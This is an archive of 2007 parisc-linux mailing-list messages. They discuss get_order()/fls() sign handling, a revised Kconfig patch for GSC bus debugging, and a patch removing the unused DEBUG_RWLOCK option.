Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Oct 2007 05:31:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 29 Oct 2007 06:31:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0FCB7EE8D;
	Sun, 28 Oct 2007 23:31:02 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GoDVkPSDThEc; Sun, 28 Oct 2007 23:31:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 515967EE89;
	Sun, 28 Oct 2007 23:30:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8025F7EE87
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Oct 2007 23:30:44 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qd87rhIyDEhw for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Oct 2007 23:30:30 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4C0757EE55
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Oct 2007 23:30:30 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id B21D8494009; Sun, 28 Oct 2007 23:30:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 6386B494003;
	Sun, 28 Oct 2007 23:30:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 13430298058;
	Sun, 28 Oct 2007 23:30:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15952-02; Sun, 28 Oct 2007 23:30:15 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BABBB29805D; Sun, 28 Oct 2007 23:30:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4724A084.5090709@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cx1HEzIXbXBsfrqHPTQ2e7IqLyUmZUgp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25470

On Sun, Oct 28, 2007 at 02:45:24PM +0000, Joel Soete wrote:
...
> e.g.
> # more GetOrder-poc.c
...
> give me well same results:
> # ./GetOrder-poc
> get_order(1) = 0 (0x0);
> get_order_poc(1) = 0 (0x0).
...

Good!

...
> But I need to check more on a detail:
> here is the prototype of fls():
> static inline int fls(int x)
>
> so I need to be sure that the value of ((size - 1) >> (PAGE_SHIFT)) would 
> always stand in a int (not unsigned but sign) for 32bit (iirc 
> size_of(unsigned long)==32) and 64bit (size_of(unsigned long)==64) 
> implementations?

Huh?
Why do you care how (unsigned long) is handled when the function prototype
defines the API to pass in an "int"?

FWIW, __fls could be extended to handle unsigned long the same way
that __ffs has been...but I don't think we needed to for anything so far.

...
>>> 	return (size ? fls((size - 1) >> (PAGE_SHIFT)): 0);
>> fls is inlined already and does the same test for size.
>
> Yes but here the error (well imo it's an error) came from the unsign long 
> of (-1 >> PAGE_SHIFT) <> 0

Yeah, we'll have to make sure signed int values are handled correctly too.
But something specific to the parisc version of get_order() can deal
with sign bits and zero values then call __fls(unsigned long) instead
of fls(signed int).

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <12o3l@tiscali.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] VSC_GSC_HSC bus debugging
Date: Sun, 21 Oct 2007 23:12:17 +0200
Lines: 137
Approved: news@gmane.org
Message-ID: <471BC0B1.7060309__23036.2753653482$1416624650$gmane$org@tiscali.nl>
References: <471B926D.10009@tiscali.nl>
	<20071021190609.GA8421@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624650 28572 80.91.229.3 (22 Nov 2014 02:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:50 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2007 20:23:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 30 Oct 2007 21:23:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E575E7EC87;
	Tue, 30 Oct 2007 14:23:33 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Idy9K2Rs6KRS; Tue, 30 Oct 2007 14:23:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F11B17EC90;
	Tue, 30 Oct 2007 14:23:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65FCD7EA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 15:29:02 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QR481jhptAYV for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 15:28:49 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7335F7EA61
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 15:28:49 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 6402B494009; Sun, 21 Oct 2007 15:28:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 981 seconds by postgrey-1.27 at palinux;
	Sun, 21 Oct 2007 15:28:50 MDT
Original-Received: from smtp-out2.tiscali.nl (smtp-out2.tiscali.nl [195.241.79.177])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 013DE494003
	for <parisc-linux@parisc-linux.org>;
	Sun, 21 Oct 2007 15:28:50 -0600 (MDT)
Original-Received: from [82.171.216.234] (helo=[192.168.1.2])
	by smtp-out2.tiscali.nl with esmtp (Tiscali http://www.tiscali.nl)
	id 1Iji5x-0001hD-SE; Sun, 21 Oct 2007 23:12:26 +0200
User-Agent: Thunderbird 2.0.0.6 (X11/20070728)
In-Reply-To: <20071021190609.GA8421@parisc-linux.org>
X-Mailman-Approved-At: Tue, 30 Oct 2007 14:23:18 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /6ABb2XrLi5mI/fRZWtpp6djZml1ZFgc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25471

Matthew Wilcox wrote:
> On Sun, Oct 21, 2007 at 07:54:53PM +0200, Roel Kluin wrote:
>> +config GSC_DEBUG
>> +	bool "VSC_GSC_HSC bus debugging"
> 
> What an ugly prompt string ...

I wrote a script to make these changes, but apparently it's still not perfect
I should have checked it more. I will make changes and resend previously sent
patches. Below is the patch previously called [PATCH] VSC_GSC_HSC bus debugging,
with corrections.

I used "VSC/GSC/HSC bus support" from "config GSC" in the Kconfig. the slashes
were translated to underscores because they previously gave a bug. it's fixed now,
but I think the name "VSC/GSC/HSC bus debugging" is more appropriate here.
 
>> +	depends on GSC
>> +	default n
> 
> default is 'n', by default.  No need to specify it.

ok fixed that

>> +#ifdef GSC_DEBUG
>> +	#define DEBUG 1
>> +#endif
> 
> Why the indent?

I thought it was more clear. But have that changed now as well.

>> -	DEBPRINTK("%s intr, mask=0x%x\n", gsc_asic->name, irr);
>> +	printk("%s intr, mask=0x%x\n", gsc_asic->name, irr);
> 
> Presumably you meant pr_debug?

yes.

Thanks for your comments. How is the one below instead? It is a replacement for
[PATCH] VSC_GSC_HSC bus debugging.

Now there's also a change in some printk's and the GSC_DEBUG option has a place
lower in the Kconfig file. I also added a Kconfig help description.

---
    Kconfig GSC bus debugging and more elaborate printks
    
    Signed-off-by: Roel Kluin <12o3l@tiscali.nl>

diff --git a/drivers/parisc/Kconfig b/drivers/parisc/Kconfig
index 1d3b84b..8959141 100644
--- a/drivers/parisc/Kconfig
+++ b/drivers/parisc/Kconfig
@@ -54,6 +54,12 @@ config EISA
 	  supports both the Mongoose & Wax EISA adapters.  It is sadly
 	  incomplete and lacks support for card-to-host DMA.
 
+config GSC_DEBUG
+	bool "VSC/GSC/HSC bus debugging"
+	depends on GSC
+	help
+	  Say Y here to enable debugging for VSC, GSC and HSC busses.
+
 source "drivers/eisa/Kconfig"
 
 config ISA
diff --git a/drivers/parisc/gsc.c b/drivers/parisc/gsc.c
index 1b3e3fd..8805abb 100644
--- a/drivers/parisc/gsc.c
+++ b/drivers/parisc/gsc.c
@@ -27,19 +27,17 @@
 
 #include "gsc.h"
 
-#undef DEBUG
-
-#ifdef DEBUG
-#define DEBPRINTK printk
-#else
-#define DEBPRINTK(x,...)
+#ifdef GSC_DEBUG
+#define DEBUG 1
 #endif
+#include <linux/kernel.h>
+
 
 int gsc_alloc_irq(struct gsc_irq *i)
 {
 	int irq = txn_alloc_irq(GSC_EIM_WIDTH);
 	if (irq < 0) {
-		printk("cannot get irq\n");
+		printk("GSC: cannot get irq\n");
 		return irq;
 	}
 
@@ -58,7 +56,7 @@ int gsc_claim_irq(struct gsc_irq *i, int irq)
 
 	irq = txn_claim_irq(irq);
 	if (irq < 0) {
-		printk("cannot claim irq %d\n", c);
+		printk("GSC: cannot claim irq %d\n", c);
 		return irq;
 	}
 
@@ -82,7 +80,7 @@ irqreturn_t gsc_asic_intr(int gsc_asic_irq, void *dev)
 	if (irr == 0)
 		return IRQ_NONE;
 
-	DEBPRINTK("%s intr, mask=0x%x\n", gsc_asic->name, irr);
+	pr_debug("%s intr, mask=0x%x\n", gsc_asic->name, irr);
 
 	do {
 		int local_irq = __ffs(irr);
@@ -112,7 +110,7 @@ static void gsc_asic_disable_irq(unsigned int irq)
 	int local_irq = gsc_find_local_irq(irq, irq_dev->global_irq, 32);
 	u32 imr;
 
-	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __FUNCTION__, irq,
+	pr_debug("%s(%d) %s: IMR 0x%x\n", __FUNCTION__, irq,
 			irq_dev->name, imr);
 
 	/* Disable the IRQ line by clearing the bit in the IMR */
@@ -127,7 +125,7 @@ static void gsc_asic_enable_irq(unsigned int irq)
 	int local_irq = gsc_find_local_irq(irq, irq_dev->global_irq, 32);
 	u32 imr;
 
-	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __FUNCTION__, irq,
+	pr_debug("%s(%d) %s: IMR 0x%x\n", __FUNCTION__, irq,
 			irq_dev->name, imr);
 
 	/* Enable the IRQ line by setting the bit in the IMR */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Olsa <olsajiri@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] alpha/parisc: Removing config variable
	DEBUG_RWLOCK
Date: Thu, 15 Nov 2007 09:42:05 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <473C065D.1000000@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624650 28574 80.91.229.3 (22 Nov 2014 02:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
 parisc-linux@parisc-linux.org,
 ink@jurassic.park.msu.ru,
 rth@twiddle.net
To: kernel-janitors@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 17:04:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 20 Dec 2007 18:04:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EE1F7D439;
	Thu, 20 Dec 2007 10:04:35 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3jewnRnhuSaQ; Thu, 20 Dec 2007 10:04:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D983F7D43A;
	Thu, 20 Dec 2007 09:26:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3DDC7D443
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 10:35:20 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tsFE+oPT5tJw for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 10:35:07 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 008877D436
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 10:34:53 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id B4CD049401E; Thu, 15 Nov 2007 02:42:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by mail.parisc-linux.org (Postfix) with ESMTP id 31DEE494006
	for <parisc-linux@parisc-linux.org>;
	Thu, 15 Nov 2007 02:42:10 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id o2so403281uge
	for <parisc-linux@parisc-linux.org>;
	Thu, 15 Nov 2007 01:42:09 -0800 (PST)
Original-Received: by 10.66.221.5 with SMTP id t5mr187222ugg.1195119729511;
	Thu, 15 Nov 2007 01:42:09 -0800 (PST)
Original-Received: from ?192.168.101.66? ( [62.210.91.25])
	by mx.google.com with ESMTPS id t35sm1818417uge.2007.11.15.01.42.04
	(version=SSLv3 cipher=RC4-MD5); Thu, 15 Nov 2007 01:42:08 -0800 (PST)
User-Agent: Thunderbird 2.0.0.6 (X11/20070728)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.49
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lJZfdihXbUkpPenGPWgnoolkZ2hlN4p8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25472

Removing config variable DEBUG_RWLOCK, since it is not used

Signed-off-by: Jiri Olsa <olsajiri@gmail.com>
---
 arch/alpha/Kconfig.debug           |    9 ---------
 arch/alpha/defconfig               |    1 -
 arch/parisc/Kconfig.debug          |    9 ---------
 arch/parisc/configs/a500_defconfig |    1 -
 4 files changed, 0 insertions(+), 20 deletions(-)

diff --git a/arch/alpha/Kconfig.debug b/arch/alpha/Kconfig.debug
index f45f28c..3f6265f 100644
--- a/arch/alpha/Kconfig.debug
+++ b/arch/alpha/Kconfig.debug
@@ -7,15 +7,6 @@ config EARLY_PRINTK
 	depends on ALPHA_GENERIC || ALPHA_SRM
 	default y
 
-config DEBUG_RWLOCK
-	bool "Read-write spinlock debugging"
-	depends on DEBUG_KERNEL
-	help
-	  If you say Y here then read-write lock processing will count how many
-	  times it has tried to get the lock and issue an error message after
-	  too many attempts.  If you suspect a rwlock problem or a kernel
-	  hacker asks for this option then say Y.  Otherwise say N.
-
 config ALPHA_LEGACY_START_ADDRESS
 	bool "Legacy kernel start address"
 	depends on ALPHA_GENERIC
diff --git a/arch/alpha/defconfig b/arch/alpha/defconfig
index 6da9c3d..e43f68f 100644
--- a/arch/alpha/defconfig
+++ b/arch/alpha/defconfig
@@ -882,7 +882,6 @@ CONFIG_MAGIC_SYSRQ=y
 # CONFIG_DEBUG_SPINLOCK is not set
 CONFIG_DEBUG_INFO=y
 CONFIG_EARLY_PRINTK=y
-# CONFIG_DEBUG_RWLOCK is not set
 # CONFIG_DEBUG_SEMAPHORE is not set
 CONFIG_ALPHA_LEGACY_START_ADDRESS=y
 CONFIG_MATHEMU=y
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 9166bd1..bc989e5 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -2,15 +2,6 @@ menu "Kernel hacking"
 
 source "lib/Kconfig.debug"
 
-config DEBUG_RWLOCK
-        bool "Read-write spinlock debugging"
-        depends on DEBUG_KERNEL && SMP
-        help
-          If you say Y here then read-write lock processing will count how many
-          times it has tried to get the lock and issue an error message after
-          too many attempts.  If you suspect a rwlock problem or a kernel
-          hacker asks for this option then say Y.  Otherwise say N.

From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] alpha/parisc: Removing config variable
	DEBUG_RWLOCK
Date: Thu, 15 Nov 2007 12:06:05 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <20071115190605.GF20892@colo.lackof.org>
References: <473C065D.1000000@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624651 28576 80.91.229.3 (22 Nov 2014 02:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:51 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 ink@jurassic.park.msu.ru,
 Andrew Morton <akpm@linux-foundation.org>,
 rth@twiddle.net,
 parisc-linux@parisc-linux.org
To: Jiri Olsa <olsajiri@gmail.com>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 17:23:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 20 Dec 2007 18:23:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AA847D5C1;
	Thu, 20 Dec 2007 10:23:55 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZlboBUlga8lu; Thu, 20 Dec 2007 10:23:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84E3F7DB7F;
	Thu, 20 Dec 2007 09:27:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B8AF7D450
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 12:06:34 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26J7N2RAx22x for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 12:06:21 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8D37C7D44F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 12:06:21 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 13EAF49400A; Thu, 15 Nov 2007 12:06:23 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id A4E51494006;
	Thu, 15 Nov 2007 12:06:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DDA97338044;
	Thu, 15 Nov 2007 12:06:20 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27661-05; Thu, 15 Nov 2007 12:06:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 64942338043; Thu, 15 Nov 2007 12:06:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <473C065D.1000000@gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: -0.07000000000000001
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AcwfdGkKODBoYrWUfGRMGFI1Ji9SWpI2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25473

On Thu, Nov 15, 2007 at 09:42:05AM +0100, Jiri Olsa wrote:
> Removing config variable DEBUG_RWLOCK, since it is not used
> 
> Signed-off-by: Jiri Olsa <olsajiri@gmail.com>

For the arch/parisc bit:
  Acked-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
>  arch/alpha/Kconfig.debug           |    9 ---------
>  arch/alpha/defconfig               |    1 -
>  arch/parisc/Kconfig.debug          |    9 ---------
>  arch/parisc/configs/a500_defconfig |    1 -
>  4 files changed, 0 insertions(+), 20 deletions(-)
> 
> diff --git a/arch/alpha/Kconfig.debug b/arch/alpha/Kconfig.debug
> index f45f28c..3f6265f 100644
> --- a/arch/alpha/Kconfig.debug
> +++ b/arch/alpha/Kconfig.debug
> @@ -7,15 +7,6 @@ config EARLY_PRINTK
>  	depends on ALPHA_GENERIC || ALPHA_SRM
>  	default y
>  
> -config DEBUG_RWLOCK
> -	bool "Read-write spinlock debugging"
